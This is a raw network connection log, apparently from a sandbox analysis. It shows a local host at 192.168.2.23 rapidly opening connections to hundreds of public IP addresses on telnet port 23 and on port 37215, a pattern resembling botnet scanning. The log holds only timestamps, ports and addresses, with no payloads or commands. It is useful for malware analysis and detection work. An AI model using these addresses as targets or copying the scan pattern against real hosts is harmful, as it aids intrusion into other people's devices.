Dec 3, 2024 22:16:45.368489027 CET	37451	37215	192.168.2.23	197.230.145.13
Dec 3, 2024 22:16:45.368493080 CET	37451	37215	192.168.2.23	41.117.154.231
Dec 3, 2024 22:16:45.368493080 CET	37451	37215	192.168.2.23	197.153.152.232
Dec 3, 2024 22:16:45.368493080 CET	37451	37215	192.168.2.23	197.77.138.110
Dec 3, 2024 22:16:45.368499994 CET	37451	37215	192.168.2.23	197.114.253.26
Dec 3, 2024 22:16:45.368499994 CET	37451	37215	192.168.2.23	156.130.64.210
Dec 3, 2024 22:16:45.368508101 CET	37451	37215	192.168.2.23	41.246.25.244
Dec 3, 2024 22:16:45.368508101 CET	37451	37215	192.168.2.23	41.141.124.20
Dec 3, 2024 22:16:45.368508101 CET	37451	37215	192.168.2.23	41.194.110.106
Dec 3, 2024 22:16:45.368508101 CET	37451	37215	192.168.2.23	41.146.197.216
Dec 3, 2024 22:16:45.368510962 CET	37451	37215	192.168.2.23	156.82.162.126
Dec 3, 2024 22:16:45.368510962 CET	37451	37215	192.168.2.23	197.223.22.111
Dec 3, 2024 22:16:45.368515968 CET	37451	37215	192.168.2.23	156.91.175.239
Dec 3, 2024 22:16:45.368515968 CET	37451	37215	192.168.2.23	156.197.200.71
Dec 3, 2024 22:16:45.368515968 CET	37451	37215	192.168.2.23	41.54.59.66
Dec 3, 2024 22:16:45.368519068 CET	37451	37215	192.168.2.23	197.243.24.102
Dec 3, 2024 22:16:45.396486044 CET	43928	443	192.168.2.23	91.189.91.42
Dec 3, 2024 22:16:45.470989943 CET	23	37963	126.0.124.156	192.168.2.23
Dec 3, 2024 22:16:45.471002102 CET	23	37963	221.249.81.198	192.168.2.23
Dec 3, 2024 22:16:45.471019983 CET	23	37963	69.227.41.87	192.168.2.23
Dec 3, 2024 22:16:45.471031904 CET	23	37963	84.250.63.142	192.168.2.23
Dec 3, 2024 22:16:45.471041918 CET	23	37963	207.205.163.55	192.168.2.23
Dec 3, 2024 22:16:45.471057892 CET	23	37963	107.69.147.38	192.168.2.23
Dec 3, 2024 22:16:45.471061945 CET	23	37963	72.232.178.253	192.168.2.23
Dec 3, 2024 22:16:45.471096039 CET	23	37963	58.42.128.10	192.168.2.23
Dec 3, 2024 22:16:45.471106052 CET	23	37963	196.58.181.140	192.168.2.23
Dec 3, 2024 22:16:45.471117020 CET	23	37963	137.254.102.214	192.168.2.23
Dec 3, 2024 22:16:45.471179008 CET	37963	23	192.168.2.23	126.0.124.156
Dec 3, 2024 22:16:45.471184969 CET	37963	23	192.168.2.23	69.227.41.87
Dec 3, 2024 22:16:45.471184969 CET	37963	23	192.168.2.23	221.249.81.198
Dec 3, 2024 22:16:45.471189976 CET	37963	23	192.168.2.23	84.250.63.142
Dec 3, 2024 22:16:45.471194983 CET	37963	23	192.168.2.23	72.232.178.253
Dec 3, 2024 22:16:45.471194983 CET	37963	23	192.168.2.23	207.205.163.55
Dec 3, 2024 22:16:45.471195936 CET	37963	23	192.168.2.23	107.69.147.38
Dec 3, 2024 22:16:45.471196890 CET	37963	23	192.168.2.23	196.58.181.140
Dec 3, 2024 22:16:45.471195936 CET	37963	23	192.168.2.23	58.42.128.10
Dec 3, 2024 22:16:45.471203089 CET	23	37963	68.177.209.190	192.168.2.23
Dec 3, 2024 22:16:45.471210003 CET	37963	23	192.168.2.23	137.254.102.214
Dec 3, 2024 22:16:45.471214056 CET	23	37963	85.186.163.112	192.168.2.23
Dec 3, 2024 22:16:45.471219063 CET	23	37963	132.119.233.12	192.168.2.23
Dec 3, 2024 22:16:45.471225977 CET	23	37963	67.125.181.147	192.168.2.23
Dec 3, 2024 22:16:45.471245050 CET	23	37963	196.124.77.83	192.168.2.23
Dec 3, 2024 22:16:45.471255064 CET	23	37963	71.97.180.91	192.168.2.23
Dec 3, 2024 22:16:45.471259117 CET	37963	23	192.168.2.23	67.125.181.147
Dec 3, 2024 22:16:45.471263885 CET	23	37963	199.226.100.20	192.168.2.23
Dec 3, 2024 22:16:45.471263885 CET	37963	23	192.168.2.23	68.177.209.190
Dec 3, 2024 22:16:45.471263885 CET	37963	23	192.168.2.23	85.186.163.112
Dec 3, 2024 22:16:45.471261978 CET	37963	23	192.168.2.23	132.119.233.12
Dec 3, 2024 22:16:45.471267939 CET	23	37963	76.201.207.93	192.168.2.23
Dec 3, 2024 22:16:45.471290112 CET	37963	23	192.168.2.23	196.124.77.83
Dec 3, 2024 22:16:45.471290112 CET	37963	23	192.168.2.23	71.97.180.91
Dec 3, 2024 22:16:45.471290112 CET	37963	23	192.168.2.23	199.226.100.20
Dec 3, 2024 22:16:45.471304893 CET	37963	23	192.168.2.23	76.201.207.93
Dec 3, 2024 22:16:45.471343040 CET	23	37963	40.109.68.74	192.168.2.23
Dec 3, 2024 22:16:45.471353054 CET	23	37963	223.212.231.178	192.168.2.23
Dec 3, 2024 22:16:45.471360922 CET	23	37963	32.137.169.20	192.168.2.23
Dec 3, 2024 22:16:45.471369982 CET	23	37963	9.25.140.107	192.168.2.23
Dec 3, 2024 22:16:45.471374035 CET	23	37963	92.222.177.83	192.168.2.23
Dec 3, 2024 22:16:45.471383095 CET	23	37963	122.176.239.116	192.168.2.23
Dec 3, 2024 22:16:45.471386909 CET	23	37963	222.167.34.249	192.168.2.23
Dec 3, 2024 22:16:45.471389055 CET	37963	23	192.168.2.23	40.109.68.74
Dec 3, 2024 22:16:45.471390963 CET	23	37963	103.50.36.160	192.168.2.23
Dec 3, 2024 22:16:45.471390963 CET	37963	23	192.168.2.23	223.212.231.178
Dec 3, 2024 22:16:45.471394062 CET	23	37963	12.197.33.14	192.168.2.23
Dec 3, 2024 22:16:45.471415997 CET	37963	23	192.168.2.23	32.137.169.20
Dec 3, 2024 22:16:45.471417904 CET	37963	23	192.168.2.23	9.25.140.107
Dec 3, 2024 22:16:45.471417904 CET	37963	23	192.168.2.23	122.176.239.116
Dec 3, 2024 22:16:45.471417904 CET	37963	23	192.168.2.23	92.222.177.83
Dec 3, 2024 22:16:45.471420050 CET	37963	23	192.168.2.23	222.167.34.249
Dec 3, 2024 22:16:45.471421957 CET	37963	23	192.168.2.23	103.50.36.160
Dec 3, 2024 22:16:45.471430063 CET	37963	23	192.168.2.23	12.197.33.14
Dec 3, 2024 22:16:45.471520901 CET	23	37963	187.155.171.67	192.168.2.23
Dec 3, 2024 22:16:45.471529961 CET	23	37963	105.129.205.237	192.168.2.23
Dec 3, 2024 22:16:45.471538067 CET	23	37963	138.89.51.182	192.168.2.23
Dec 3, 2024 22:16:45.471545935 CET	23	37963	162.137.178.59	192.168.2.23
Dec 3, 2024 22:16:45.471555948 CET	23	37963	65.17.144.215	192.168.2.23
Dec 3, 2024 22:16:45.471560001 CET	37963	23	192.168.2.23	187.155.171.67
Dec 3, 2024 22:16:45.471561909 CET	37963	23	192.168.2.23	105.129.205.237
Dec 3, 2024 22:16:45.471565008 CET	23	37963	38.37.142.117	192.168.2.23
Dec 3, 2024 22:16:45.471569061 CET	37963	23	192.168.2.23	138.89.51.182
Dec 3, 2024 22:16:45.471571922 CET	37963	23	192.168.2.23	162.137.178.59
Dec 3, 2024 22:16:45.471580029 CET	37963	23	192.168.2.23	65.17.144.215
Dec 3, 2024 22:16:45.471590042 CET	37963	23	192.168.2.23	38.37.142.117
Dec 3, 2024 22:16:45.471936941 CET	23	37963	24.173.255.63	192.168.2.23
Dec 3, 2024 22:16:45.471946001 CET	23	37963	148.141.213.187	192.168.2.23
Dec 3, 2024 22:16:45.471954107 CET	23	37963	166.116.124.142	192.168.2.23
Dec 3, 2024 22:16:45.471975088 CET	37963	23	192.168.2.23	24.173.255.63
Dec 3, 2024 22:16:45.471978903 CET	37963	23	192.168.2.23	148.141.213.187
Dec 3, 2024 22:16:45.471981049 CET	37963	23	192.168.2.23	166.116.124.142
Dec 3, 2024 22:16:45.472137928 CET	23	37963	81.174.14.55	192.168.2.23
Dec 3, 2024 22:16:45.472146988 CET	23	37963	166.178.40.154	192.168.2.23
Dec 3, 2024 22:16:45.472156048 CET	23	37963	120.34.41.226	192.168.2.23
Dec 3, 2024 22:16:45.472165108 CET	23	37963	47.182.6.32	192.168.2.23
Dec 3, 2024 22:16:45.472172976 CET	23	37963	167.201.159.17	192.168.2.23
Dec 3, 2024 22:16:45.472174883 CET	37963	23	192.168.2.23	81.174.14.55
Dec 3, 2024 22:16:45.472177982 CET	37963	23	192.168.2.23	166.178.40.154
Dec 3, 2024 22:16:45.472186089 CET	23	37963	12.225.5.44	192.168.2.23
Dec 3, 2024 22:16:45.472187042 CET	37963	23	192.168.2.23	120.34.41.226
Dec 3, 2024 22:16:45.472187996 CET	37963	23	192.168.2.23	47.182.6.32
Dec 3, 2024 22:16:45.472196102 CET	23	37963	105.78.15.47	192.168.2.23
Dec 3, 2024 22:16:45.472203970 CET	37963	23	192.168.2.23	167.201.159.17
Dec 3, 2024 22:16:45.472206116 CET	23	37963	122.183.52.229	192.168.2.23
Dec 3, 2024 22:16:45.472213984 CET	23	37963	156.201.206.55	192.168.2.23
Dec 3, 2024 22:16:45.472218037 CET	37963	23	192.168.2.23	12.225.5.44
Dec 3, 2024 22:16:45.472223043 CET	23	37963	137.65.128.222	192.168.2.23
Dec 3, 2024 22:16:45.472232103 CET	23	37963	80.44.160.30	192.168.2.23
Dec 3, 2024 22:16:45.472233057 CET	37963	23	192.168.2.23	105.78.15.47
Dec 3, 2024 22:16:45.472237110 CET	37963	23	192.168.2.23	122.183.52.229
Dec 3, 2024 22:16:45.472240925 CET	23	37963	49.223.63.176	192.168.2.23
Dec 3, 2024 22:16:45.472249985 CET	23	37963	89.98.132.205	192.168.2.23
Dec 3, 2024 22:16:45.472250938 CET	37963	23	192.168.2.23	156.201.206.55
Dec 3, 2024 22:16:45.472256899 CET	37963	23	192.168.2.23	137.65.128.222
Dec 3, 2024 22:16:45.472259045 CET	23	37963	94.203.116.133	192.168.2.23
Dec 3, 2024 22:16:45.472268105 CET	23	37963	200.179.142.186	192.168.2.23
Dec 3, 2024 22:16:45.472271919 CET	37963	23	192.168.2.23	80.44.160.30
Dec 3, 2024 22:16:45.472273111 CET	37963	23	192.168.2.23	49.223.63.176
Dec 3, 2024 22:16:45.472278118 CET	23	37963	38.168.179.82	192.168.2.23
Dec 3, 2024 22:16:45.472285986 CET	23	37963	211.170.195.29	192.168.2.23
Dec 3, 2024 22:16:45.472286940 CET	37963	23	192.168.2.23	89.98.132.205
Dec 3, 2024 22:16:45.472290039 CET	37963	23	192.168.2.23	94.203.116.133
Dec 3, 2024 22:16:45.472297907 CET	23	37963	72.149.206.7	192.168.2.23
Dec 3, 2024 22:16:45.472299099 CET	37963	23	192.168.2.23	200.179.142.186
Dec 3, 2024 22:16:45.472299099 CET	37963	23	192.168.2.23	38.168.179.82
Dec 3, 2024 22:16:45.472309113 CET	23	37963	40.190.232.121	192.168.2.23
Dec 3, 2024 22:16:45.472316980 CET	23	37963	112.192.47.84	192.168.2.23
Dec 3, 2024 22:16:45.472325087 CET	23	37963	61.140.179.31	192.168.2.23
Dec 3, 2024 22:16:45.472325087 CET	37963	23	192.168.2.23	211.170.195.29
Dec 3, 2024 22:16:45.472330093 CET	37963	23	192.168.2.23	72.149.206.7
Dec 3, 2024 22:16:45.472332954 CET	23	37963	14.136.60.58	192.168.2.23
Dec 3, 2024 22:16:45.472342014 CET	23	37963	93.95.253.23	192.168.2.23
Dec 3, 2024 22:16:45.472346067 CET	37963	23	192.168.2.23	112.192.47.84
Dec 3, 2024 22:16:45.472352982 CET	37963	23	192.168.2.23	40.190.232.121
Dec 3, 2024 22:16:45.472352982 CET	23	37963	125.237.138.50	192.168.2.23
Dec 3, 2024 22:16:45.472362041 CET	23	37963	83.102.163.33	192.168.2.23
Dec 3, 2024 22:16:45.472368002 CET	37963	23	192.168.2.23	61.140.179.31
Dec 3, 2024 22:16:45.472368002 CET	37963	23	192.168.2.23	14.136.60.58
Dec 3, 2024 22:16:45.472368002 CET	37963	23	192.168.2.23	93.95.253.23
Dec 3, 2024 22:16:45.472382069 CET	37963	23	192.168.2.23	125.237.138.50
Dec 3, 2024 22:16:45.472388029 CET	37963	23	192.168.2.23	83.102.163.33
Dec 3, 2024 22:16:45.472745895 CET	23	37963	125.84.57.9	192.168.2.23
Dec 3, 2024 22:16:45.472790003 CET	37963	23	192.168.2.23	125.84.57.9
Dec 3, 2024 22:16:45.472806931 CET	23	37963	176.247.191.135	192.168.2.23
Dec 3, 2024 22:16:45.472816944 CET	23	37963	148.28.150.230	192.168.2.23
Dec 3, 2024 22:16:45.472820997 CET	23	37963	208.86.31.164	192.168.2.23
Dec 3, 2024 22:16:45.472845078 CET	23	37963	166.84.255.141	192.168.2.23
Dec 3, 2024 22:16:45.472855091 CET	37963	23	192.168.2.23	208.86.31.164
Dec 3, 2024 22:16:45.472855091 CET	37963	23	192.168.2.23	148.28.150.230
Dec 3, 2024 22:16:45.472856045 CET	37963	23	192.168.2.23	176.247.191.135
Dec 3, 2024 22:16:45.472862005 CET	23	37963	213.100.154.141	192.168.2.23
Dec 3, 2024 22:16:45.472879887 CET	23	37963	60.141.204.104	192.168.2.23
Dec 3, 2024 22:16:45.472884893 CET	37963	23	192.168.2.23	166.84.255.141
Dec 3, 2024 22:16:45.472893000 CET	37963	23	192.168.2.23	213.100.154.141
Dec 3, 2024 22:16:45.472918987 CET	37963	23	192.168.2.23	60.141.204.104
Dec 3, 2024 22:16:45.472942114 CET	23	37963	116.184.207.141	192.168.2.23
Dec 3, 2024 22:16:45.472950935 CET	23	37963	211.12.225.239	192.168.2.23
Dec 3, 2024 22:16:45.472960949 CET	23	37963	14.97.93.179	192.168.2.23
Dec 3, 2024 22:16:45.472970009 CET	23	37963	139.181.141.30	192.168.2.23
Dec 3, 2024 22:16:45.472979069 CET	23	37963	199.11.198.104	192.168.2.23
Dec 3, 2024 22:16:45.472981930 CET	37963	23	192.168.2.23	116.184.207.141
Dec 3, 2024 22:16:45.472985983 CET	37963	23	192.168.2.23	211.12.225.239
Dec 3, 2024 22:16:45.473001957 CET	37963	23	192.168.2.23	14.97.93.179
Dec 3, 2024 22:16:45.473002911 CET	37963	23	192.168.2.23	139.181.141.30
Dec 3, 2024 22:16:45.473018885 CET	23	37963	197.93.225.174	192.168.2.23
Dec 3, 2024 22:16:45.473027945 CET	23	37963	152.252.247.173	192.168.2.23
Dec 3, 2024 22:16:45.473037004 CET	23	37963	79.53.251.48	192.168.2.23
Dec 3, 2024 22:16:45.473047972 CET	23	37963	25.6.238.245	192.168.2.23
Dec 3, 2024 22:16:45.473098040 CET	37963	23	192.168.2.23	152.252.247.173
Dec 3, 2024 22:16:45.473103046 CET	23	37963	216.78.50.24	192.168.2.23
Dec 3, 2024 22:16:45.473112106 CET	23	37963	130.157.140.107	192.168.2.23
Dec 3, 2024 22:16:45.473119974 CET	23	37963	42.86.18.115	192.168.2.23
Dec 3, 2024 22:16:45.473120928 CET	37963	23	192.168.2.23	197.93.225.174
Dec 3, 2024 22:16:45.473124981 CET	37963	23	192.168.2.23	79.53.251.48
Dec 3, 2024 22:16:45.473129988 CET	37963	23	192.168.2.23	199.11.198.104
Dec 3, 2024 22:16:45.473129988 CET	37963	23	192.168.2.23	25.6.238.245
Dec 3, 2024 22:16:45.473145962 CET	37963	23	192.168.2.23	216.78.50.24
Dec 3, 2024 22:16:45.473153114 CET	37963	23	192.168.2.23	130.157.140.107
Dec 3, 2024 22:16:45.473165989 CET	37963	23	192.168.2.23	42.86.18.115
Dec 3, 2024 22:16:45.473217964 CET	23	37963	58.65.250.96	192.168.2.23
Dec 3, 2024 22:16:45.473227024 CET	23	37963	5.25.42.222	192.168.2.23
Dec 3, 2024 22:16:45.473234892 CET	23	37963	84.217.119.41	192.168.2.23
Dec 3, 2024 22:16:45.473244905 CET	23	37963	157.41.24.138	192.168.2.23
Dec 3, 2024 22:16:45.473253012 CET	23	37963	105.153.112.0	192.168.2.23
Dec 3, 2024 22:16:45.473263025 CET	23	37963	145.39.58.37	192.168.2.23
Dec 3, 2024 22:16:45.473268032 CET	37963	23	192.168.2.23	58.65.250.96
Dec 3, 2024 22:16:45.473268032 CET	37963	23	192.168.2.23	5.25.42.222
Dec 3, 2024 22:16:45.473269939 CET	23	37963	117.139.0.81	192.168.2.23
Dec 3, 2024 22:16:45.473273993 CET	23	37963	41.247.141.109	192.168.2.23
Dec 3, 2024 22:16:45.473282099 CET	23	37963	220.156.31.62	192.168.2.23
Dec 3, 2024 22:16:45.473284006 CET	37963	23	192.168.2.23	157.41.24.138
Dec 3, 2024 22:16:45.473284006 CET	37963	23	192.168.2.23	84.217.119.41
Dec 3, 2024 22:16:45.473293066 CET	37963	23	192.168.2.23	105.153.112.0
Dec 3, 2024 22:16:45.473299980 CET	37963	23	192.168.2.23	145.39.58.37
Dec 3, 2024 22:16:45.473309040 CET	37963	23	192.168.2.23	117.139.0.81
Dec 3, 2024 22:16:45.473334074 CET	37963	23	192.168.2.23	220.156.31.62
Dec 3, 2024 22:16:45.473335028 CET	37963	23	192.168.2.23	41.247.141.109
Dec 3, 2024 22:16:45.473355055 CET	23	37963	175.61.25.68	192.168.2.23
Dec 3, 2024 22:16:45.473365068 CET	23	37963	64.67.194.159	192.168.2.23
Dec 3, 2024 22:16:45.473372936 CET	23	37963	195.45.33.112	192.168.2.23
Dec 3, 2024 22:16:45.473381996 CET	23	37963	110.166.149.61	192.168.2.23
Dec 3, 2024 22:16:45.473397970 CET	37963	23	192.168.2.23	64.67.194.159
Dec 3, 2024 22:16:45.473402023 CET	37963	23	192.168.2.23	175.61.25.68
Dec 3, 2024 22:16:45.473407984 CET	37963	23	192.168.2.23	195.45.33.112
Dec 3, 2024 22:16:45.473412991 CET	37963	23	192.168.2.23	110.166.149.61
Dec 3, 2024 22:16:45.473443031 CET	23	37963	180.102.127.3	192.168.2.23
Dec 3, 2024 22:16:45.473452091 CET	23	37963	92.59.47.37	192.168.2.23
Dec 3, 2024 22:16:45.473459005 CET	23	37963	204.250.237.239	192.168.2.23
Dec 3, 2024 22:16:45.473467112 CET	23	37963	125.233.110.253	192.168.2.23
Dec 3, 2024 22:16:45.473481894 CET	37963	23	192.168.2.23	180.102.127.3
Dec 3, 2024 22:16:45.473481894 CET	37963	23	192.168.2.23	92.59.47.37
Dec 3, 2024 22:16:45.473490953 CET	37963	23	192.168.2.23	204.250.237.239
Dec 3, 2024 22:16:45.473496914 CET	37963	23	192.168.2.23	125.233.110.253
Dec 3, 2024 22:16:45.488015890 CET	37215	37451	156.101.171.54	192.168.2.23
Dec 3, 2024 22:16:45.488025904 CET	37215	37451	156.21.203.122	192.168.2.23
Dec 3, 2024 22:16:45.488060951 CET	37451	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:45.488087893 CET	37451	37215	192.168.2.23	156.21.203.122
Dec 3, 2024 22:16:46.226788044 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 22:16:46.347574949 CET	23	52030	217.32.184.17	192.168.2.23
Dec 3, 2024 22:16:46.347769976 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 22:16:46.348612070 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 22:16:46.352102995 CET	37963	23	192.168.2.23	37.245.241.166
Dec 3, 2024 22:16:46.352117062 CET	37963	23	192.168.2.23	109.226.109.56
Dec 3, 2024 22:16:46.352138996 CET	37963	23	192.168.2.23	27.67.166.36
Dec 3, 2024 22:16:46.352142096 CET	37963	23	192.168.2.23	2.217.19.38
Dec 3, 2024 22:16:46.352150917 CET	37963	23	192.168.2.23	153.53.82.129
Dec 3, 2024 22:16:46.352165937 CET	37963	23	192.168.2.23	140.131.183.153
Dec 3, 2024 22:16:46.352178097 CET	37963	23	192.168.2.23	12.36.219.57
Dec 3, 2024 22:16:46.352180004 CET	37963	23	192.168.2.23	25.13.135.110
Dec 3, 2024 22:16:46.352190971 CET	37963	23	192.168.2.23	89.215.59.14
Dec 3, 2024 22:16:46.352197886 CET	37963	23	192.168.2.23	75.96.234.89
Dec 3, 2024 22:16:46.352210045 CET	37963	23	192.168.2.23	169.176.216.100
Dec 3, 2024 22:16:46.352217913 CET	37963	23	192.168.2.23	183.217.167.251
Dec 3, 2024 22:16:46.352232933 CET	37963	23	192.168.2.23	128.120.207.126
Dec 3, 2024 22:16:46.352248907 CET	37963	23	192.168.2.23	122.180.215.63
Dec 3, 2024 22:16:46.352255106 CET	37963	23	192.168.2.23	177.237.250.250
Dec 3, 2024 22:16:46.352269888 CET	37963	23	192.168.2.23	13.83.40.182
Dec 3, 2024 22:16:46.352277040 CET	37963	23	192.168.2.23	35.106.48.192
Dec 3, 2024 22:16:46.352283955 CET	37963	23	192.168.2.23	71.65.46.132
Dec 3, 2024 22:16:46.352297068 CET	37963	23	192.168.2.23	117.198.79.45
Dec 3, 2024 22:16:46.352307081 CET	37963	23	192.168.2.23	58.142.163.202
Dec 3, 2024 22:16:46.352329969 CET	37963	23	192.168.2.23	195.246.215.222
Dec 3, 2024 22:16:46.352336884 CET	37963	23	192.168.2.23	83.195.81.74
Dec 3, 2024 22:16:46.352358103 CET	37963	23	192.168.2.23	86.21.188.52
Dec 3, 2024 22:16:46.352380037 CET	37963	23	192.168.2.23	24.227.42.29
Dec 3, 2024 22:16:46.352381945 CET	37963	23	192.168.2.23	1.217.49.104
Dec 3, 2024 22:16:46.352381945 CET	37963	23	192.168.2.23	82.211.123.21
Dec 3, 2024 22:16:46.352385998 CET	37963	23	192.168.2.23	20.250.91.212
Dec 3, 2024 22:16:46.352385998 CET	37963	23	192.168.2.23	76.37.25.26
Dec 3, 2024 22:16:46.352395058 CET	37963	23	192.168.2.23	34.55.249.109
Dec 3, 2024 22:16:46.352397919 CET	37963	23	192.168.2.23	51.9.72.191
Dec 3, 2024 22:16:46.352399111 CET	37963	23	192.168.2.23	185.197.33.202
Dec 3, 2024 22:16:46.352399111 CET	37963	23	192.168.2.23	107.142.137.240
Dec 3, 2024 22:16:46.352401018 CET	37963	23	192.168.2.23	99.83.118.40
Dec 3, 2024 22:16:46.352411032 CET	37963	23	192.168.2.23	58.242.254.152
Dec 3, 2024 22:16:46.352415085 CET	37963	23	192.168.2.23	78.13.70.90
Dec 3, 2024 22:16:46.352415085 CET	37963	23	192.168.2.23	192.222.188.127
Dec 3, 2024 22:16:46.352417946 CET	37963	23	192.168.2.23	130.48.43.128
Dec 3, 2024 22:16:46.352418900 CET	37963	23	192.168.2.23	206.143.235.143
Dec 3, 2024 22:16:46.352417946 CET	37963	23	192.168.2.23	148.87.177.216
Dec 3, 2024 22:16:46.352417946 CET	37963	23	192.168.2.23	8.38.241.80
Dec 3, 2024 22:16:46.352421045 CET	37963	23	192.168.2.23	73.250.43.1
Dec 3, 2024 22:16:46.352420092 CET	37963	23	192.168.2.23	123.86.158.159
Dec 3, 2024 22:16:46.352421045 CET	37963	23	192.168.2.23	134.38.57.59
Dec 3, 2024 22:16:46.352420092 CET	37963	23	192.168.2.23	46.123.79.31
Dec 3, 2024 22:16:46.352421045 CET	37963	23	192.168.2.23	132.159.216.56
Dec 3, 2024 22:16:46.352420092 CET	37963	23	192.168.2.23	108.121.39.101
Dec 3, 2024 22:16:46.352420092 CET	37963	23	192.168.2.23	201.156.112.232
Dec 3, 2024 22:16:46.352441072 CET	37963	23	192.168.2.23	126.87.61.191
Dec 3, 2024 22:16:46.352441072 CET	37963	23	192.168.2.23	186.208.232.29
Dec 3, 2024 22:16:46.352442026 CET	37963	23	192.168.2.23	138.170.177.27
Dec 3, 2024 22:16:46.352442026 CET	37963	23	192.168.2.23	182.96.214.102
Dec 3, 2024 22:16:46.352442980 CET	37963	23	192.168.2.23	132.60.164.104
Dec 3, 2024 22:16:46.352444887 CET	37963	23	192.168.2.23	31.160.19.52
Dec 3, 2024 22:16:46.352442026 CET	37963	23	192.168.2.23	189.154.178.206
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	125.80.252.51
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	79.88.113.68
Dec 3, 2024 22:16:46.352442026 CET	37963	23	192.168.2.23	201.10.189.182
Dec 3, 2024 22:16:46.352442980 CET	37963	23	192.168.2.23	36.166.176.203
Dec 3, 2024 22:16:46.352444887 CET	37963	23	192.168.2.23	14.31.70.43
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	107.225.79.10
Dec 3, 2024 22:16:46.352442026 CET	37963	23	192.168.2.23	217.23.240.1
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	40.22.78.79
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	159.207.227.239
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	135.220.153.200
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	171.32.252.21
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	210.195.110.245
Dec 3, 2024 22:16:46.352446079 CET	37963	23	192.168.2.23	65.32.147.25
Dec 3, 2024 22:16:46.352468014 CET	37963	23	192.168.2.23	176.74.91.187
Dec 3, 2024 22:16:46.352468014 CET	37963	23	192.168.2.23	101.92.233.29
Dec 3, 2024 22:16:46.352468014 CET	37963	23	192.168.2.23	5.60.91.155
Dec 3, 2024 22:16:46.352468014 CET	37963	23	192.168.2.23	106.176.114.207
Dec 3, 2024 22:16:46.352468014 CET	37963	23	192.168.2.23	32.33.165.211
Dec 3, 2024 22:16:46.352468967 CET	37963	23	192.168.2.23	80.94.130.29
Dec 3, 2024 22:16:46.352468967 CET	37963	23	192.168.2.23	1.128.143.108
Dec 3, 2024 22:16:46.352468967 CET	37963	23	192.168.2.23	34.159.17.205
Dec 3, 2024 22:16:46.352468014 CET	37963	23	192.168.2.23	210.77.193.246
Dec 3, 2024 22:16:46.352468967 CET	37963	23	192.168.2.23	101.203.136.34
Dec 3, 2024 22:16:46.352468967 CET	37963	23	192.168.2.23	8.0.2.242
Dec 3, 2024 22:16:46.352473021 CET	37963	23	192.168.2.23	31.207.123.108
Dec 3, 2024 22:16:46.352473021 CET	37963	23	192.168.2.23	118.247.230.104
Dec 3, 2024 22:16:46.352473021 CET	37963	23	192.168.2.23	116.50.83.172
Dec 3, 2024 22:16:46.352473021 CET	37963	23	192.168.2.23	196.81.12.212
Dec 3, 2024 22:16:46.352468967 CET	37963	23	192.168.2.23	165.37.111.123
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	40.204.251.46
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	97.67.177.217
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	96.156.108.111
Dec 3, 2024 22:16:46.352480888 CET	37963	23	192.168.2.23	220.29.148.118
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	199.127.169.144
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	2.19.33.224
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	180.23.86.241
Dec 3, 2024 22:16:46.352480888 CET	37963	23	192.168.2.23	138.86.207.76
Dec 3, 2024 22:16:46.352482080 CET	37963	23	192.168.2.23	147.189.172.139
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	144.6.9.238
Dec 3, 2024 22:16:46.352482080 CET	37963	23	192.168.2.23	54.237.77.248
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	9.92.130.108
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	19.193.55.132
Dec 3, 2024 22:16:46.352480888 CET	37963	23	192.168.2.23	150.11.203.65
Dec 3, 2024 22:16:46.352482080 CET	37963	23	192.168.2.23	157.175.74.238
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	222.136.122.115
Dec 3, 2024 22:16:46.352480888 CET	37963	23	192.168.2.23	168.218.40.91
Dec 3, 2024 22:16:46.352479935 CET	37963	23	192.168.2.23	210.218.52.196
Dec 3, 2024 22:16:46.352480888 CET	37963	23	192.168.2.23	196.206.24.126
Dec 3, 2024 22:16:46.352500916 CET	37963	23	192.168.2.23	107.134.33.136
Dec 3, 2024 22:16:46.352500916 CET	37963	23	192.168.2.23	86.235.177.39
Dec 3, 2024 22:16:46.352502108 CET	37963	23	192.168.2.23	88.106.99.196
Dec 3, 2024 22:16:46.352500916 CET	37963	23	192.168.2.23	43.118.136.255
Dec 3, 2024 22:16:46.352502108 CET	37963	23	192.168.2.23	116.235.209.244
Dec 3, 2024 22:16:46.352500916 CET	37963	23	192.168.2.23	219.197.198.210
Dec 3, 2024 22:16:46.352502108 CET	37963	23	192.168.2.23	90.61.102.154
Dec 3, 2024 22:16:46.352500916 CET	37963	23	192.168.2.23	112.206.6.191
Dec 3, 2024 22:16:46.352503061 CET	37963	23	192.168.2.23	31.37.230.49
Dec 3, 2024 22:16:46.352513075 CET	37963	23	192.168.2.23	20.35.184.14
Dec 3, 2024 22:16:46.352516890 CET	37963	23	192.168.2.23	174.81.88.196
Dec 3, 2024 22:16:46.352516890 CET	37963	23	192.168.2.23	162.236.26.13
Dec 3, 2024 22:16:46.352519035 CET	37963	23	192.168.2.23	191.133.167.127
Dec 3, 2024 22:16:46.352519035 CET	37963	23	192.168.2.23	83.157.42.6
Dec 3, 2024 22:16:46.352519989 CET	37963	23	192.168.2.23	90.224.199.221
Dec 3, 2024 22:16:46.352520943 CET	37963	23	192.168.2.23	194.104.6.92
Dec 3, 2024 22:16:46.352520943 CET	37963	23	192.168.2.23	73.102.231.200
Dec 3, 2024 22:16:46.352520943 CET	37963	23	192.168.2.23	97.102.205.64
Dec 3, 2024 22:16:46.352520943 CET	37963	23	192.168.2.23	54.190.198.177
